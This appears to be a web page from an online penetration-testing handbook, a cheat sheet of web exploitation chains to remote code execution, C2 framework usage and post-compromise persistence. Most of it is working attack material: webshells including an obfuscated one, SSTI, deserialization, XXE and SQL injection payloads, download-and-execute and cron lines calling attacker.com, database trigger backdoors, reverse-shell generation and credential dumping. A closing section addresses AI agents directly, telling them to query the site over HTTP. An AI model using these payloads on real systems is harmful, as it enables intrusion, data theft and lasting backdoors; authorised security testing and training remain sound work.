# Web Exploits & C2

## Overview

This section covers practical exploitation techniques for common web vulnerabilities, focusing on achieving Remote Code Execution (RCE) and establishing initial access.

## Remote Code Execution Chains

### File Upload to RCE

```bash
# 1. Identify upload functionality
# Look for profile pictures, document uploads, import features

# 2. Test allowed extensions
# Try: .php, .php5, .phtml, .phar, .php.jpg, .php%00.jpg

# 3. Test content-type bypass
curl -X POST "https://target.com/upload" \
  -F "file=@shell.php;type=image/jpeg" \
  -F "filename=shell.php"

# 4. Test double extensions
shell.php.jpg
shell.jpg.php

# 5. Test null byte (older systems)
shell.php%00.jpg
shell.php\x00.jpg

# 6. Test .htaccess upload (Apache)
# Upload .htaccess with:
AddType application/x-httpd-php .jpg
# Then upload shell.jpg

# Simple PHP webshell
<?php system($_GET['cmd']); ?>

# Obfuscated webshell
<?php $k="sy"."st"."em";$k($_GET['c']); ?>
```

### LFI to RCE

```bash
# Log poisoning (Apache/Nginx)
# 1. Inject PHP into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/"

# 2. Include the log file
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/httpd/access_log

# Request: ?page=../../../var/log/apache2/access.log&cmd=id

# PHP Session poisoning
# 1. Set malicious session data
curl "https://target.com/?page=<?php system(\$_GET['cmd']); ?>" -H "Cookie: PHPSESSID=evil"

# 2. Include session file
?page=../../../var/lib/php/sessions/sess_evil&cmd=id

# /proc/self/environ (older PHP)
# Inject PHP in User-Agent, include /proc/self/environ

# PHP Wrappers
# base64 encode to read files
?page=php://filter/convert.base64-encode/resource=config.php

# expect:// (if enabled)
?page=expect://id

# data:// (if enabled)
?page=data://text/plain,<?php system($_GET['cmd']); ?>&cmd=id

# input:// (POST data as include)
POST ?page=php://input
<?php system('id'); ?>
```

### SSTI to RCE

```bash
# Detection payloads
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

# Jinja2 (Python/Flask)
{{ config.items() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate() }}

# More reliable Jinja2 RCE
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}

# Twig (PHP)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

# Thymeleaf (Java Spring)
${T(java.lang.Runtime).getRuntime().exec('id')}

# Velocity (Java)
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))
```

### Deserialization to RCE

```bash
# Java (ysoserial)
# Generate payload
java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh | bash' > payload.ser

# Common gadget chains:
# - CommonsCollections (1-7)
# - CommonsBeanutils
# - Spring
# - JRMPClient

# PHP (phpggc)
# Generate payload
phpggc Laravel/RCE1 system 'id' > payload.txt

# Common chains:
# - Laravel/RCE
# - Symfony/RCE
# - Guzzle/RCE
# - Monolog/RCE

# Python (pickle)
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

# .NET
# Use ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "whoami" -o base64
```

### XXE to RCE

```xml
# Basic XXE file read
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# XXE to SSRF (internal network)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<root>&xxe;</root>

# XXE to RCE via expect:// (PHP)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

# XXE to RCE via jar:// protocol (Java)
# Upload malicious JAR to server, then:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/evil.class">
]>
<root>&xxe;</root>

# Blind XXE with external DTD
# On attacker server (evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

# Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
```

### SQLi to RCE

```bash
# MySQL file write (INTO OUTFILE)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -

# MySQL load_file for reading
' UNION SELECT load_file('/etc/passwd')-- -

# MySQL UDF (User Defined Functions)
# Requires FILE privilege
# Upload malicious shared library

# MSSQL xp_cmdshell
'; EXEC xp_cmdshell 'whoami';--
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"';--

# PostgreSQL
# Copy to file
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

# Large object
SELECT lo_import('/etc/passwd');
SELECT lo_get(12345);  -- oid from lo_import
```

### SSRF to RCE

```bash
# SSRF to internal admin panel
http://target.com/fetch?url=http://localhost:8080/admin/execute?cmd=id

# SSRF to cloud metadata → IAM credentials → RCE
# AWS metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# Use credentials to access EC2 or run commands
aws ssm send-command --instance-ids i-xxxx --document-name "AWS-RunShellScript" --parameters 'commands=["id"]'

# SSRF to Redis → RCE
gopher://localhost:6379/_CONFIG%20SET%20dir%20/var/www/html%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20x%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%0D%0ASAVE

# SSRF to Docker API → RCE
gopher://localhost:2375/_POST%20/containers/create%20HTTP/1.1%0D%0AHost:localhost%0D%0AContent-Type:application/json%0D%0AContent-Length:XXX%0D%0A%0D%0A{"Image":"alpine","Cmd":["cat","/etc/shadow"],"Binds":["/:/host"]}
```

## C2 Framework Basics

### Sliver (Open Source)

```bash
# Installation
curl https://sliver.sh/install | sudo bash

# Start server
sliver-server

# Generate implant
generate --mtls attacker.com --save /tmp/implant

# HTTP C2
generate --http attacker.com --save /tmp/http_implant

# Start listener
mtls --lhost 0.0.0.0 --lport 8888

# After session
use <session-id>
info
getuid
shell
upload /local/path /remote/path
download /remote/path /local/path

# Pivot
pivots tcp --bind 0.0.0.0:9999

# Port forward
portfwd add --remote 127.0.0.1:3389 --bind 0.0.0.0:3389
```

### Havoc (Open Source)

```bash
# Start teamserver
./havoc server --profile /path/to/profile.yaotl

# Connect client
./havoc client

# In Havoc GUI:
# 1. Create listener (HTTP/HTTPS)
# 2. Generate payload (exe, dll, shellcode)
# 3. Deploy and wait for callback

# Post-exploitation:
# - Process injection
# - Token manipulation
# - Lateral movement
# - Credential harvesting
```

### Metasploit

```bash
# Start handler
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST attacker.com
set LPORT 443
exploit -j

# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f exe -o shell.exe

# Meterpreter post-exploitation
getsystem
hashdump
load kiwi
creds_all
migrate <pid>
run post/multi/recon/local_exploit_suggester
```

### Cobalt Strike Concepts

```
# Note: Commercial tool, concepts only

# Beacon types:
# - HTTP/HTTPS - web traffic blend
# - DNS - DNS tunneling
# - SMB - named pipes (lateral movement)
# - TCP - raw TCP

# Malleable C2:
# - Customize traffic patterns
# - Mimic legitimate software
# - Evade network detection

# Key features:
# - Sleep/jitter for evasion
# - Process injection
# - Inline execution
# - Memory-only payloads

# Aggressor scripts:
# - Automation
# - Custom workflows
# - Integration with other tools
```

## Establishing Persistence After RCE

### Web Server Persistence

```bash
# PHP backdoor in common files
# Add to existing PHP file:
<?php if(isset($_GET['backdoor'])){system($_GET['backdoor']);} ?>

# Hidden webshell
# Save as .htaccess.php or similar dot file
# Add to robots.txt: Disallow: /uploads/

# Scheduled task to download shell
echo "* * * * * curl http://attacker.com/shell.sh | bash" >> /var/spool/cron/www-data

# Modify application code
# Add backdoor to login page, config file, or commonly accessed endpoint
```

### Database Persistence

```sql
-- MySQL trigger backdoor
CREATE TRIGGER backdoor BEFORE INSERT ON users
FOR EACH ROW
BEGIN
    SET @output = (SELECT sys_exec('curl http://attacker.com/beacon'));
END;

-- PostgreSQL function backdoor
CREATE OR REPLACE FUNCTION backdoor() RETURNS text AS $$
import os
return os.popen('id').read()
$$ LANGUAGE plpython3u;
```

## Post-Exploitation Checklist

```
□ Stabilize shell (upgrade to interactive)
□ Enumerate current user privileges
□ Check for credentials in:
  □ Config files (database connections)
  □ Environment variables
  □ .git/config, .svn/entries
  □ Backup files (.bak, .old, .swp)
  □ History files (.bash_history, .mysql_history)
□ Enumerate internal network
□ Identify other services/hosts
□ Establish persistence
□ Set up pivoting if needed
□ Plan lateral movement
```

## Resources

* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
* [HackTricks](https://book.hacktricks.xyz/)
* [GTFOBins](https://gtfobins.github.io/)
* [RevShells](https://www.revshells.com/)
* [ysoserial](https://github.com/frohoff/ysoserial)
* [phpggc](https://github.com/ambionics/phpggc)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/exploitation/web-exploits.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
